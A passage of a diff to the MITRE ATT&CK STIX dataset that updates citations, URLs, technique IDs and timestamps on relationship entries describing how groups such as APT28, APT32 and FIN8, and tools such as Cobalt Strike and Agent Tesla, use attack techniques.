"2020-04-21T23:09:31.610Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--c1fd6ce6-26e7-49a7-abff-a64fd0fc8a35", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", - "type": "relationship", - "modified": "2019-06-06T19:04:39.467Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -102679,27 +104127,6 @@ "modified": "2019-12-20T14:28:39.530Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--6dc0543b-1a60-4e9a-9527-595220854f53", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can recover hashed passwords.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", - "type": "relationship", - "modified": "2020-03-25T15:06:37.081Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--ff3d2ebf-ea7b-4fd2-a524-9a6f20bcf3e3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -102786,7 +104213,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "type": "relationship", - "modified": "2020-06-09T20:44:40.783Z", + "modified": "2021-02-09T14:15:25.586Z", "created": "2017-05-31T21:33:27.017Z" }, { @@ -102970,27 +104397,27 @@ { "id": "relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has installed updates and new malware on victims.(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has installed updates and new malware on victims.(Citation: PWC Cloud Hopper April 2017)(Citation: District Court of NY APT10 Indictment December 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", + "source_name": "PWC Cloud Hopper April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", - "source_name": "PWC Cloud Hopper April 2017" + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" }, { - "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", - "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "type": "relationship", - "modified": "2019-09-03T18:50:16.526Z", + "modified": "2020-12-17T20:03:35.047Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -103025,14 +104452,14 @@ "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "(Citation: NCC Group APT15 Alive and Strong)", "type": "relationship", - "modified": "2019-04-22T15:08:48.590Z", + "modified": "2021-03-29T19:54:46.178Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -103101,7 +104528,7 @@ { "id": "relationship--5799308b-e710-40b8-ad64-2b7916673560", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan uses a cmd.exe and batch script to run its payload.(Citation: Unit 42 Playbook Dec 2017) The group has also used macros to execute payloads.(Citation: Talos Seduploader Oct 2017)(Citation: Unit42 Cannon Nov 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan uses a cmd.exe and batch script to run its payload.(Citation: Unit 42 Playbook Dec 2017) The group has also used macros to execute payloads.(Citation: Talos Seduploader Oct 2017)(Citation: Unit42 Cannon Nov 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: TrendMicro Pawn Storm Dec 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -103112,26 +104539,31 @@ "source_name": "Unit 42 Playbook Dec 2017" }, { - "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html", - "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018." + "source_name": "Talos Seduploader Oct 2017" }, { - "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", - "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018." + "source_name": "Unit42 Cannon Nov 2018" }, { - "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", - "source_name": "Accenture SNAKEMACKEREL Nov 2018" + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019." + }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021." } ], "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "relationship_type": "uses", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "type": "relationship", - "modified": "2020-03-17T18:46:09.780Z", + "modified": "2021-01-13T21:54:30.306Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -103326,7 +104758,7 @@ { "id": "relationship--3a8d8063-3f4d-420d-8c72-2b99077aa487", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails with a malicious executable disguised as a document or spreadsheet.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 April 2020)", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails with a malicious executable disguised as a document or spreadsheet.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 April 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -103355,13 +104787,18 @@ "source_name": "FireEye APT32 April 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html", "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020." + }, + { + "source_name": "Amnesty Intl. Ocean Lotus February 2021", + "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021." } ], "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "relationship_type": "uses", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "type": "relationship", - "modified": "2020-04-29T15:17:18.866Z", + "modified": "2021-03-01T16:51:08.782Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -104066,14 +105503,15 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" } ], "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "relationship_type": "uses", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "type": "relationship", - "modified": "2020-05-14T15:14:33.561Z", + "modified": "2021-04-27T19:53:40.885Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -104735,16 +106173,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "type": "relationship", - "modified": "2020-03-17T01:40:15.447Z", + "modified": "2021-03-29T19:54:46.202Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -104771,15 +106209,22 @@ { "id": "relationship--808f140e-8b7b-4efa-8708-2f2308b2fc41", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) sent shortened URL links over email to victims. The URLs linked to Word documents with malicious macros that execute PowerShells scripts to download Pupy.", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) sent shortened URL links over email to victims. The URLs linked to Word documents with malicious macros that execute PowerShells scripts to download Pupy.(Citation: Secureworks Cobalt Gypsy Feb 2017)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "external_references": [ + { + "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", + "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.", + "source_name": "Secureworks Cobalt Gypsy Feb 2017" + } + ], "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "relationship_type": "uses", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "type": "relationship", - "modified": "2020-07-04T23:30:04.980Z", + "modified": "2021-04-23T14:51:04.172Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -104927,12 +106372,12 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "description": "(Citation: Cylance Cleaver)", "type": "relationship", - "modified": "2019-03-22T20:00:23.926Z", + "modified": "2021-04-21T16:41:34.697Z", "created": "2017-05-31T21:33:27.032Z" }, { @@ -104990,7 +106435,7 @@ { "id": "relationship--ea7c1a9f-7d8e-4a06-8331-9901a33ee7d8", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT32](https://attack.mitre.org/groups/G0050) has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 April 2020)", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 April 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -105014,13 +106459,18 @@ "source_name": "FireEye APT32 April 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html", "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020." + }, + { + "source_name": "Amnesty Intl. Ocean Lotus February 2021", + "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021." } ], "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "relationship_type": "uses", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "type": "relationship", - "modified": "2020-04-30T17:45:55.110Z", + "modified": "2021-03-01T16:51:08.768Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -105197,7 +106647,7 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } @@ -105206,7 +106656,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "type": "relationship", - "modified": "2019-07-14T21:15:55.365Z", + "modified": "2021-03-29T19:43:26.850Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -105507,14 +106957,14 @@ "source_name": "SecureWorks BRONZE UNION June 2017" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } ], "description": "(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)", "type": "relationship", - "modified": "2019-07-14T21:15:55.612Z", + "modified": "2021-03-29T19:43:26.868Z", "created": "2017-05-31T21:33:27.063Z" }, { @@ -105828,15 +107278,20 @@ "source_name": "Bitdefender Agent Tesla April 2020", "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020." + }, + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." } ], - "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has routines for exfiltration over SMTP, FTP, and HTTP.(Citation: Talos Agent Tesla Oct 2018)(Citation: Bitdefender Agent Tesla April 2020)", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has routines for exfiltration over SMTP, FTP, and HTTP.(Citation: Talos Agent Tesla Oct 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: SentinelLabs Agent Tesla Aug 2020)", "id": "relationship--60c1b489-f1fc-4568-aba0-54e932715abc", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "relationship_type": "uses", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "type": "relationship", - "modified": "2020-05-20T13:38:07.318Z", + "modified": "2020-12-11T22:07:41.518Z", "created": "2019-01-29T18:44:05.077Z" }, { @@ -106181,7 +107636,7 @@ { "id": "relationship--e039e3d4-2e3d-4e6e-902e-5e1834abe8e4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses process hollowing and [Regsvr32](https://attack.mitre.org/techniques/T1117) to execute another payload.(Citation: Proofpoint Leviathan Oct 2017)", + "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses process hollowing and [Regsvr32](https://attack.mitre.org/techniques/T1218/010) to execute another payload.(Citation: Proofpoint Leviathan Oct 2017)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -106196,7 +107651,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "type": "relationship", - "modified": "2019-09-16T18:01:16.137Z", + "modified": "2021-02-09T15:04:49.224Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -106354,7 +107809,7 @@ { "id": "relationship--cd001a55-ed41-4109-9090-41bebed9113a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads are executed as [PowerShell](https://attack.mitre.org/techniques/T1086). [FIN8](https://attack.mitre.org/groups/G0061) has also used [PowerShell](https://attack.mitre.org/techniques/T1086) during [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and [Credential Access](https://attack.mitre.org/tactics/TA0006).(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads are executed as [PowerShell](https://attack.mitre.org/techniques/T1059/001). [FIN8](https://attack.mitre.org/groups/G0061) has also used [PowerShell](https://attack.mitre.org/techniques/T1059/001) during [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and [Credential Access](https://attack.mitre.org/tactics/TA0006).(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -106374,7 +107829,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "type": "relationship", - "modified": "2019-10-01T14:35:15.282Z", + "modified": "2021-02-09T13:54:32.768Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -107050,22 +108505,27 @@ { "id": "relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT32](https://attack.mitre.org/groups/G0050) has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update. [APT32](https://attack.mitre.org/groups/G0050) has also renamed a Cobalt Strike beacon payload to install_flashplayers.exe. (Citation: Cybereason Cobalt Kitty 2017)", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update. [APT32](https://attack.mitre.org/groups/G0050) has also renamed a Cobalt Strike beacon payload to install_flashplayers.exe. (Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", - "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + "source_name": "Cybereason Cobalt Kitty 2017" + }, + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." } ], "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "relationship_type": "uses", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "type": "relationship", - "modified": "2020-06-29T17:55:52.939Z", + "modified": "2020-11-24T21:27:53.722Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -107636,18 +109096,23 @@ ], "external_references": [ { - "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", - "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018." + "source_name": "TrendMicro MacOS April 2018" + }, + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." } ], - "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) scrambles and encrypts data using AES256 before sending it to the C2 server.(Citation: TrendMicro MacOS April 2018)", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) scrambles and encrypts data using AES256 before sending it to the C2 server.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", "id": "relationship--8bb51178-fa35-4441-99f3-f01fb305b03b", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "relationship_type": "uses", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "type": "relationship", - "modified": "2020-03-30T03:00:33.875Z", + "modified": "2020-12-02T14:59:19.098Z", "created": "2019-01-30T19:18:20.134Z" }, { @@ -107707,15 +109172,20 @@ "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", "source_name": "ESET Carbon Mar 2017" + }, + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." } ], - "description": "[Carbon](https://attack.mitre.org/software/S0335) decrypts task and configuration files for execution.(Citation: ESET Carbon Mar 2017)", + "description": "[Carbon](https://attack.mitre.org/software/S0335) decrypts task and configuration files for execution.(Citation: ESET Carbon Mar 2017)(Citation: Accenture HyperStack October 2020)", "id": "relationship--848313af-f9c3-4b51-a24a-d2e88487ab53", "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", "relationship_type": "uses", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "type": "relationship", - "modified": "2019-04-12T14:43:22.692Z", + "modified": "2020-12-03T21:11:50.718Z", "created": "2019-01-29T19:36:02.753Z" }, { @@ -107748,7 +109218,7 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } @@ -107757,7 +109227,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "type": "relationship", - "modified": "2019-07-14T21:15:55.368Z", + "modified": "2021-03-29T19:43:26.847Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -107945,13 +109415,13 @@ "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018." } ], - "description": "[APT29](https://attack.mitre.org/groups/G0016) uses PowerShell to use Base64 for obfuscation.(Citation: FireEye APT29 Nov 2018)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell commands.(Citation: FireEye APT29 Nov 2018)", "id": "relationship--2bc72d2e-74c7-43da-a669-fffdfcd78186", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2019-07-25T14:25:53.349Z", + "modified": "2021-04-19T13:59:53.619Z", "created": "2019-01-30T14:19:17.699Z" }, { @@ -108901,7 +110371,8 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" }, { "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf", @@ -108916,7 +110387,7 @@ ], "description": "(Citation: DustySky)(Citation: DustySky2)(Citation: FireEye Operation Molerats)", "type": "relationship", - "modified": "2020-05-14T14:30:09.800Z", + "modified": "2021-04-27T19:55:39.622Z", "created": "2017-05-31T21:33:27.056Z" }, { @@ -109076,27 +110547,6 @@ "modified": "2020-07-16T15:07:27.488Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--3cb99d8e-8a3d-47ed-b4b7-e217cea48013", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", - "type": "relationship", - "modified": "2019-06-06T19:04:39.504Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ 